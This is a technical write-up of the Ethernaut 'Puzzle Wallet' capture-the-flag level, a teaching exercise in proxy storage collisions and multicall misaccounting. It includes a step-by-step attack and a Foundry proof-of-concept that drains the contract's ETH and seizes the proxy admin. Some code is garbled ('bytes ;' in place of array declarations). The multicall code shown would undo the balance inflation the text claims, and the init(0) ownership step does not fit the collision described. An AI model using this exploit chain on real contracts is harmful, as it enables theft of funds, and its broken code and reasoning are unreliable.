Deep Dive into Storage Collisions, Multicall Exploitation, and Proxy Vulnerabilities
Introduction
Ethernaut, created by OpenZeppelin, is more than just a collection of Solidity puzzles. It is a security playground designed to replicate real-world vulnerabilities often found in decentralized applications. Among these challenges, Puzzle Wallet stands out as one of the more advanced levels because it brings together multiple layers of complexity:
- Proxy and implementation contract interactions.
- Subtle storage slot collisions due to delegatecall.
- A cleverly hidden multicall bug that leads to misaccounted balances.
Unlike simpler levels where the exploit path is straightforward, Puzzle Wallet requires connecting several small but critical insights into one coherent strategy. It mimics mistakes that have appeared in real DeFi protocols, where multi-contract architectures and batching systems led to multimillion-dollar exploits.
This analysis aims to walk through the entire challenge with a strong technical focus. Each decision, each vulnerability, and each transaction will be broken down, showing how the attack unfolds step by step. The goal is not just to solve the level but to understand why the vulnerability exists and how similar issues arise in production systems.
The following sections will:
- Deconstruct the Puzzle Wallet architecture.
- Analyze the key vulnerabilities and their interactions.
- Demonstrate an exploit walkthrough with a technical proof-of-concept.
- Highlight security best practices and defensive measures.
This level serves as an opportunity to understand how small oversights—like improperly aligned storage slots or misused delegatecalls—can cascade into full compromise scenarios. It is a perfect case study for developers, auditors, and security researchers aiming to level up their understanding of proxy-based architectures.
Understanding the Puzzle Wallet Setup
Before exploring the vulnerabilities, it is crucial to understand the architecture of Puzzle Wallet. The challenge consists of two contracts:
- PuzzleProxy — the upgradeable proxy contract.
- PuzzleWallet — the implementation (logic) contract.
The proxy forwards all calls to the implementation using delegatecall, meaning that while the implementation’s code executes, any state modifications occur in the proxy’s storage. This design introduces both flexibility and risk.
1. Architecture Overview
The PuzzleProxy contract maintains two critical variables:
pendingAdmin
— the address proposed to become the admin.admin
— the current admin address.
The PuzzleWallet implementation defines its own storage:
owner
— expected to control wallet-level permissions.maxBalance
— the maximum allowed balance for the contract.whitelisted
— a mapping of allowed addresses.balances
— a mapping of tracked deposits per address.
Because delegatecall causes the implementation to write directly to the proxy’s storage, the layout between the two contracts becomes tightly coupled. However, these two contracts are not designed to share the same storage layout, creating a perfect environment for storage collisions.
2. Key Collision Points
Looking at the slot ordering:
- In PuzzleProxy:
- Slot 0 →
pendingAdmin
- Slot 1 →
admin
- Slot 0 →
- In PuzzleWallet:
- Slot 0 →
owner
- Slot 1 →
maxBalance
- Slot 0 →
This means:
- Writing to
owner
in the logic actually writes topendingAdmin
in the proxy. - Writing to
maxBalance
in the logic actually writes toadmin
in the proxy.
This subtle overlap forms the basis of one of the core vulnerabilities exploited later.
3. Critical Functions
Several functions inside PuzzleWallet are central to the exploit path:
addToWhitelist(address)
— grants whitelist privileges.deposit()
— creditsmsg.value
to the caller’s balance.execute(address,uint256,bytes)
— withdraws ETH to a specified address.multicall(bytes[])
— batches multiple function calls in a single transaction.setMaxBalance(uint256)
— sets the maximum allowed balance, but as a side effect, can overwrite the proxy’s admin.
Understanding how these functions interact, especially within multicall
, is essential before diving into the vulnerabilities themselves.
Vulnerability Analysis
Puzzle Wallet’s exploitability comes from the interaction of two independent flaws. Each by itself seems harmless, but when combined, they open the door to a complete compromise.
1. Delegatecall and Storage Collisions
At the heart of this challenge is the use of delegatecall
in the proxy. Delegatecall executes code in the context of the caller, meaning:
- The implementation’s logic runs.
- State writes affect the proxy’s storage.
msg.sender
andmsg.value
remain unchanged.
This approach is common in upgradeable contract architectures, but in this case, the implementation (PuzzleWallet
) and proxy (PuzzleProxy
) are not aligned in their storage layouts.
As a result:
- Setting
owner
inPuzzleWallet
actually setspendingAdmin
inPuzzleProxy
. - Setting
maxBalance
inPuzzleWallet
actually overwritesadmin
inPuzzleProxy
.
This storage misalignment provides a privilege escalation vector: gaining owner
status in the logic contract indirectly grants control over the proxy’s pendingAdmin
, and later, the admin
itself.
2. Multicall Deposit Bug
The second vulnerability lies within the multicall(bytes[])
function. Its purpose is to allow batching multiple calls into a single transaction, improving efficiency. However, the implementation introduces a critical accounting flaw:
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
uint256 startBalance = balances[msg.sender];
for (uint256 i = 0; i < data.length; i++) {
(bool ok,) = address(this).delegatecall(data[i]);
require(ok, "delegatecall failed");
}
balances[msg.sender] = startBalance + msg.value;
}
Key observations:
start
stores the balance before the batch executes.- Every function in
data
is executed viadelegatecall
, meaning nested calls are allowed. - After the loop, the balance is reset to
start + msg.value
.
If deposit()
is included inside a nested multicall
, the balances[msg.sender]
mapping gets incremented multiple times before the final overwrite. This allows artificially inflating the recorded balance with a single msg.value
.
3. Combining Both Vulnerabilities
Individually, these vulnerabilities are dangerous but limited:
- Storage collision alone grants partial privilege escalation.
- Multicall misaccounting alone enables draining funds if already whitelisted.
When combined, they form a complete attack chain:
- Exploit storage collision to gain
owner
privileges. - Whitelist the attacker address.
- Abuse nested multicalls to inflate
balances[msg.sender]
without sending additional ETH. - Drain all funds using
execute()
. - Overwrite the proxy’s
admin
viasetMaxBalance
, taking full control.
This layered exploit highlights why composability can introduce unexpected risks in DeFi systems, especially when batching, upgradeability, and privilege management intersect.
Threat Model and Attack Intuition
Before diving into the detailed exploit steps, it is important to understand the assumptions, goals, and strategic approach that frame the attack.
1. Attacker Assumptions
- The attacker can interact with the proxy and call any function exposed via the fallback.
- The attacker starts without administrative privileges.
- Critical functions (
deposit()
,execute()
,multicall()
) are restricted to whitelisted addresses. - The attacker can send ETH along with transactions.
2. Objectives
The attack has four primary goals:
- Escalate privileges to gain owner status in the logic contract.
- Inflate the internal balance without depositing additional ETH.
- Drain the contract’s ETH funds.
- Gain full administrative control by overwriting the proxy’s
admin
slot.
3. Strategic Approach
The exploit leverages the two identified vulnerabilities in a coordinated manner:
- Privilege Escalation via Storage Collision
- Writing to
owner
in the logic contract indirectly setspendingAdmin
in the proxy. - This enables the attacker to whitelist their own address.
- Writing to
- Balance Inflation via Nested Multicall
- Recursive
multicall
calls allow inflatingbalances[msg.sender]
without sending extra ETH.
- Recursive
- Draining Funds
- Once balances are artificially increased, the attacker can call
execute()
to withdraw all ETH.
- Once balances are artificially increased, the attacker can call
- Administrative Takeover
- After draining funds,
setMaxBalance()
overwrites the proxy’sadmin
slot, consolidating full control.
- After draining funds,
This combination of vulnerabilities shows how minor design oversights in complex contract architectures can be chained into a complete system compromise.
Step-by-Step Exploit Walkthrough
With the vulnerabilities and threat model established, the exploit can be executed in a series of coordinated steps. Each step builds on the previous, ultimately allowing full control of the Puzzle Wallet and its proxy.
Step 1 — Exploit Storage Collision to Gain Owner Privileges
The first action leverages the misalignment between PuzzleWallet
and PuzzleProxy
storage slots. By calling the initialization function or writing to owner
, the attacker sets the proxy’s pendingAdmin
indirectly.
// Become the owner of the logic contract, indirectly updating pendingAdmin
puzzleWallet.init(0); // sets owner => pendingAdmin in proxy
At this stage, the attacker can now interact with owner-restricted functions such as addToWhitelist()
.
Step 2 — Whitelist the Attacker Address
Using the newly acquired owner privileges, the attacker whitelists their own address to enable critical function access.
// Grant whitelist access to attacker
puzzleWallet.addToWhitelist(attackerAddress);
Step 3 — Inflate Balance via Nested Multicall
The attacker prepares a nested multicall
payload to artificially increase their balance without sending additional ETH.
// Encode a simple deposit() call
bytes memory depositData = abi.encodeWithSignature("deposit()");
// Prepare nested multicall with one deposit
bytes ; // inner array
inner[0] = depositData;
bytes memory innerCall = abi.encodeWithSignature("multicall(bytes[])", inner);
// Outer multicall payload containing first deposit and nested multicall
bytes ; // outer array
outer[0] = depositData;
outer[1] = innerCall;
// Execute multicall: ETH sent once, balance credited multiple times
puzzleWallet.multicall{value: 0.001 ether}(outer);
Step 4 — Drain Funds with Execute
With the balance inflated, the attacker can withdraw all ETH from the contract using execute()
.
uint256 contractBalance = address(puzzleProxy).balance;
puzzleWallet.execute(attackerAddress, contractBalance, "");
Step 5 — Overwrite Proxy Admin via setMaxBalance
Finally, with the contract balance at zero, the attacker calls setMaxBalance()
to overwrite the proxy’s admin
slot, completing the takeover.
puzzleWallet.setMaxBalance(uint256(uint160(attackerAddress)));
At this point, the attacker has full control over both the logic and proxy contracts, demonstrating the full impact of combining storage collisions with the multicall bug.
Technical Proof-of-Concept
To solidify the exploit, a Foundry-based proof-of-concept demonstrates the attack in a reproducible and verifiable way. This section details each transaction with explanations for clarity.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
interface IPuzzleWallet {
function init(uint256 _maxBalance) external;
function addToWhitelist(address addr) external;
function deposit() external payable;
function multicall(bytes[] calldata data) external payable;
function execute(address to, uint256 value, bytes calldata data) external;
function setMaxBalance(uint256 _maxBalance) external;
}
contract PuzzleExploitTest is Test {
IPuzzleWallet target;
address attacker = address(this);
function setUp() public {
// Assume target is already deployed
target = IPuzzleWallet(0x1111111111111111111111111111111111111111);
}
function testExploit() public {
// Step 1: Become owner via storage collision
target.init(0);
// Step 2: Whitelist attacker address
target.addToWhitelist(attacker);
// Step 3: Prepare nested multicall
bytes memory depositData = abi.encodeWithSignature("deposit()");
bytes ; // inner array
inner[0] = depositData;
bytes memory innerCall = abi.encodeWithSignature("multicall(bytes[])", inner);
bytes ; // outer array
outer[0] = depositData;
outer[1] = innerCall;
// Execute multicall to inflate balance
target.multicall{value: 0.001 ether}(outer);
// Step 4: Drain funds
uint256 bal = address(target).balance;
target.execute(attacker, bal, "");
// Step 5: Overwrite proxy admin
target.setMaxBalance(uint256(uint160(attacker)));
}
receive() external payable {}
}
This test contract demonstrates a clean, end-to-end exploit path, reflecting the step-by-step strategy described previously. By running the test in a Foundry environment, the exploit is fully reproducible, validating both the vulnerability mechanics and the attack chain.
Security Best Practices and Defensive Measures
The Puzzle Wallet challenge provides several lessons for smart contract development and auditing. Understanding these principles can prevent similar vulnerabilities in real-world contracts.
1. Proper Storage Alignment
- Upgradeable contracts must ensure that storage layouts between proxy and implementation are strictly aligned.
- Any deviation can result in storage collisions, leading to unexpected privilege escalation or data corruption.
- Use tools like OpenZeppelin’s upgradeable contract libraries to enforce safe layouts.
2. Multicall and Batch Function Caution
- Batch operations can introduce subtle accounting issues if nested calls are allowed.
- Always validate balances after each operation, rather than overwriting them at the end.
- Consider restricting recursive calls or maintaining call depth checks to prevent exploitation.
3. Access Control and Whitelisting
- Ensure owner or admin checks cannot be bypassed through indirect storage writes.
- Avoid exposing sensitive functions to whitelisted users without strict verification.
- Regularly audit access control modifiers and their interactions with upgradeable proxies.
4. Testing and Simulation
- Simulate complex interactions with tools like Foundry, Hardhat, or Tenderly.
- Test scenarios with nested calls, unusual call sequences, and upgradeable contract interactions.
- Automated fuzz testing can uncover unexpected vulnerabilities in batch processing or delegatecall usage.
5. Final Thoughts
Puzzle Wallet demonstrates how multiple small oversights—storage misalignment and flawed batch accounting—can combine to allow full contract compromise. Comprehensive testing, strict access controls, and careful design of upgradeable proxies are essential to mitigate such risks.